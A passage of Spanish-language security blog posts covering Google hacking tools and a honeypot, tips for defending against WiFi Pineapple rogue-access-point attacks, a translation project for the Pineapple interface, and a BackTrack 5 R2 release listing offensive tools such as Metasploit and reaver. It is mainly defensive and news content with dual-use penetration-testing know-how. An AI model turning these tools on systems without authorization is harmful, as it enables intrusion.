La primera y mas básica herramienta es SiteDigger, creada por Foundstone (ahora propiedad de McAfee). Sitedigger se integra con la base de datos de Google hacking database y hace uso de la API de Google. Sitedigger nos permite seleccionar únicamente un sitio para hacer pruebas y seleccionar aquellas firmas de Google hacking que queremos ejecutar en este o también seleccionar cualquier categoría de dork y ejecutar la consulta, la cual mostrará los enlaces resultantes correspondientes. Seleccionamos cualquier consulta y hacemos click, los elances se mostrarán en los resultados.

Wikto:

Wikto es otra herramienta que es utilizada para Google hacking. Es una completa herramienta de análisis web, lo que significa que podemos utilizar esta herramienta para probar el servidor y las aplicaciones que corren en este. Para realizar Google hacking, tenemos un applet llamado Googler. Este applet buscará ciertos tipos de archivos en el índice de Google los cuales son importados y utilizados como backend. Existe otro applet que puede utilizarse en Wikto y es llamado GoogleHacks el cual importa la base de datos de Google Hacking (GHDB) y ejecuta las consultas desde GHDB automáticamente para cualquier sitio web.

Google Hack Honeypot: 

Google Hack Honeypot (GHH) está diseñado para proveer reconocimiento contra atacantes que utilizan motores de búsqueda como herramienta de hacking. Este implementa el concepto de honeypot para proporcionar seguridad adicional a nuestro sitio web. El mejor factor de esto es que nos permite monitorear cualquier intento de los atacantes en comprometer nuestra seguridad. GHH también tiene una funcionalidad de registro de eventos que podemos administrar y tomar las acciones correspondientes.

Podemos descargar esta herramienta de http://ghh.sourceforge.net/ 

Detalles sobre su instalación en http://ghh.sourceforge.net/gettingstarted.php 

Conclusión: 

Es esencial seguir las buenas prácticas de desarrollo seguro e implementar revisiones de seguridad de código en este alcance. Para un mejor entendimiento, podemos remitirnos a la guía OWASP para seguir las mejores prácticas. También existe una opción para solicitar la remoción inmediata del contenido del índice de Google. Esto puede lograrse mediante el envío de una solicitud a Google después de registrarse a través de una cuenta de Google en el sistema de eliminación automática de URLs de Google, ya sea después de crear las etiquetas META o el archivo 'robots.txt' en el servidor web.


Crossposted from Defending yourself from Google hackers

5 formas de protegernos contra la Piña WiFi

Muchas personas me han preguntado como pueden obtener una Piña WiFi y también me han preguntado  sobre las diferentes formas de utilizarla. Más adelante publicaré un post sobre los diferentes tipos de ataques que se pueden realizar con la Piña WiFi.

Por ahora, me enfocaré en un asunto que algunos seguidores me reclaman con mayor insistencia: 

¿Cómo me puedo proteger de los ataques de la Piña WiFi?

Pues bién, aquí hay algunas recomendaciones para evitar ser víctimas del ataque mas certero de la Piña WiFi, el ataque HoneyPot WiFi

1. Apaguemos el WiFi cuando no sea necesario

Si el WiFi está apagado, no tendremos riesgos de privacidad o de seguridad (también ahorramos batería!). En lo posible, no usemos las redes WiFi disponibles en sitios públicos (aeropuertos, universidades, cafeterías, etc.).  En lugar de eso podemos utilizar un módem USB 3G/4G o una conexión ethernet cableada.

Esto no solo debería aplicarse para las laptops o tablets sino también para los smartphones (las Blackberry siempre viven con el WiFi activado, hasta con el Bluetooth, Por Dios!)

2. Evitemos conectarnos a redes WiFi abiertas

Si vamos a conectarnos a redes WiFi, hagámoslo con redes que implementen algún tipo de protocolo o mecanismo de autenticación y cifrado tales como WPA o WPA2 (WEP ya no es una opción segura). La Piña WiFi no puede suplantar aquellas redes seguras.

 3. Usemos VPN o SSH

En el caso extremo que tengamos que conectarnos a una red WiFi abierta, es mejor utilizar una conexión VPN o un tunel SSH para agregar algo de seguridad en la conexión. Aún así corremos el riesgo que un atacante pueda interferir la red WiFi enviando tramas falsas de deautenticación haciendo que nos desconectemos repetidamente de la red WiFi, provocando nuestro mal humor y haciendo que en algún momento deshabilitemos la VPN para hacer vulnerable la conexión.

Enlace recomendado:  Hotspot Shield – Asegura tu Conexión Wi-Fi usando VPN

 

4. Cambiemos las configuraciones WiFi

Si cambiamos nuestras configuraciones del adaptador WiFi para que este no recuerde aquellas redes abiertas a las que nos hemos conectado con anterioridad, esto previene que seamos víctimas del ataque Karma. También protegerá nuestra privacidad ya que los nombres de las redes guardadas no serán difundidas (broadcast). 

En un Mac con OS X por ejemplo, podemos ir a Configuraciones de Red y en Avanzado, desactivamos la opción "Recordar las redes a las que este ordenador se ha conectado". También podemos borrar la lista de "Redes Preferidas".

5. Pedirle al fabricante solucionar el problema

Dificil cierto? ¿Pero deberíamos confiar cuando nuestro teléfono se conecta a la red WiFi de un aeropuerto cuando en realidad nos encontramos en un hotel o en una conferencia? Agregando seguridad a través de geolocalización o asegurar que las direcciones MAC sean las mismas, son algunas de las opciones que los fabricantes podrían elegir. Pero en ciertamente se ha mostrado poco movimiento por parte de la industria en implementar una solución.

WiFi Pineapple Mark IV en Español

Yo sé que hace rato no publico artículo o guía alguna en este blog. Podría culpar a mi trabajo diario pero no sería buena excusa. Tengo bastante material para publicar y espero sacar un poco más de tiempo para hacerlo.

Por el momento, quiero mostrarles algo en lo que he venido trabajando en mis ratos libres (que son pocos) y queriendo contribuir un poco a aquellos entusiastas que a veces no encuentran mucha ayuda en español a la hora de acceder o utilizar nuevas herramientas.

Algunos de ustedes ha tenido la oportunidad de verme mostrando un nuevo dispositivo llamado WiFi Pineapple (actualmente versión Mark IV) en algunas conferencias y eventos de seguridad. La Piña WiFi es un dispositivo ideado por el equipo de Hak5 que permite realizar análisis de redes inalámbricas y es una herramienta utilizada para realizar pruebas de penetración (pentesting). Mas información sobre el dispositivo aquí.

Pues bueno, lo que he estado haciendo últimamente con este aparatico, el cual ha llamado bastante la atención de la comunidad, es traducir en lo posible toda la interfaz de administración web (Pineapple Control Center), el cual se puede acceder a través de cualquier navegador web apuntando a la dirección IP del dispositivo.

Estos son algunos pantallazos de la interfaz que se encuentra ya totalmente traducida al español, incluyendo algunos scripts auxiliares:
 

Fig. 1 Página de Estado (Servicios de la Piña WiFi y Logs de Asociación)

Fig. 2 Página de Configuración (Scripts, Cambio de Contraseña, Cambio de ESSID, etc.)

Fig. 3 Página de 3G (Configuración de Conexión 3g y Script de Modems USB)

Fig. 4 Página de Recursos (Memoria disponible, dispositivos, procesos, etc.)

Me encuentro asociado con algunos entusiastas interesados en desarrollar nuevas ideas y formas de cómo utilizar este dispositivo. El equipo de la Piña WiFi está conformado por @dragonjar, @matiaskatz, @calderpwn, @belindofan, @_hkm y mi persona.

 Hemos creado un repositorio en github para publicar todo el código traducido, adicionalmente se está actualizando el Wiki de la Piña WiFi en español, el cual contendrá los mismos artículos del wiki del proyecto en inglés (wifipineapple.com) más otros adicionales creados por colaboradores de la comunidad latina.

Más adelante estaré publicando mayor información sobre este proyecto, estén atentos.

BackTrack 5 R2 – Nuevo Kernel, Nuevas Herramientas

Después de meses de desarrollo, correcciones de bugs, mejoras, y la adición de 42 nuevas herramientas, el equipo de Backtrack-Linux anunció hoy el lanzamiento de BackTrack 5 R2, que ya se encuentra disponible para la descarga. Con una versión personalizada del kernel 3.2.6 y el mejor soporte wi-fi disponible, es considerada la mejor y más rápida versión de BackTrack hasta el momento. En las últimas semanas, se ha presentado una avalancha de envios al Tracker Redmine de Backtrack con enviós de nuevas herramientas y decenas de paquetes que se han requerido sean actualizados y esto ha ayudado a hacer de este uno de los principales lanzamientos que se han hecho.

Una vez más, los buenos amigos de Paterva han creado una edición especial BackTrack de Maltego 3.1.0 para nuestro placer de minería de datos y también se ha incluido su herramienta recientemente publicada CaseFile para ayudarnos a organizar y recopilar datos de numerosas fuentes. Si alguno de nosotros nunca ha utilizado estas herramientas antes, es recomendable hacerlo ya... nos va a cambiar la forma en como interactuamos con los datos y llevamos a cabo el reconocimiento.

Tambien encontraremos que se ha incluido Metasploit 4.2.0 Community Edition, la versión 3.0 de SET (Kit de herramientas de Ingeniería Social), BeEF 0.4.3.2, y muchas otras mejoras de herramientas demasiado numerosas para mencionarlas.

Además de los cambios antes mencionados y adiciones, también sehan agregado las siguientes herramientas nuevas en BackTrack:

arduino	bluelog	bt-audit	dirb	dnschef	dpscan	easy-creds
extundelete	findmyhash	golismero	goofile	hashcat-gui	hash-identifier	hexorbase
horst	hotpatch	joomscan	killerbee	libhijack	magictree	nipper-ng
patator	pipal	pyrit	reaver	rebind	rec-studio	redfang
se-toolkit	sqlsus	sslyze	sucrack	thc-ssl-dos	tlssled	uniscan
vega	watobo	wcex	wol-e	xspy

BackTrack 5 R2 - Actualizaciones de seguridad fiables y correcciones semanales

Tal vez el cambio en esta versión que mas ha generado entusiasmo es que ahora se están incluyendo las actualizaciones de Ubuntu en los repositorios más regularmente. Así que de ahora en adelante, cuando ejecutemos un dist-upgrade, tambien obtendremos las herramientas actualizadas y paquetes que están siendo extraídos de Ubuntu, para asi tener una distribución más segura y estable. Podemos estar tranquilos que no se estarán publicando estas actualizaciones a ciegas. Estas van a ser probadas antes de ser publicadas con el fin de garantizar que no afectan ninguna funcionalidad.

Si solamente vamos a hacer una actualización a R2 de una instalación existente de BackTrack, en lugar de hacer una nueva instalación, podemos agregar el repositorio de nuevas actualizaciones nuevas, como se muestra a continuación.

echo "deb
http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list
apt-get update
apt-get dist-upgrade

Backtrack 5 R2 - Actualizaciones del Wiki

Junto con este lanzamiento, se han creado algunos nuevos HOWTO en el wiki de BackTrack para cubrir algunas cosas que simplemente no se pueden empaquetar de manera eficiente en una distribución, en particular, la configuración de clusters.

• Construyendo un Cluster Pyrit
• Creando un Cluster John the Ripper
• Habilitando PAE en BT5 R2
• Instalando VMware Player
• Instalando VMware Tools

Seguro que vamos a disfrutar esta nueva versión de BackTrack tanto como el equipo de desarrollo disfrutó creándola. Seguramente también se cumple el objetivo de ser la mejor distribuci[on para pruebas de penetración. En caso de encontrar fallas o querer hacer alguna sugerencia, podremos abrir un ticket en el Tracker Redmine de BackTrack.

Crossposted from Backtrack-Linux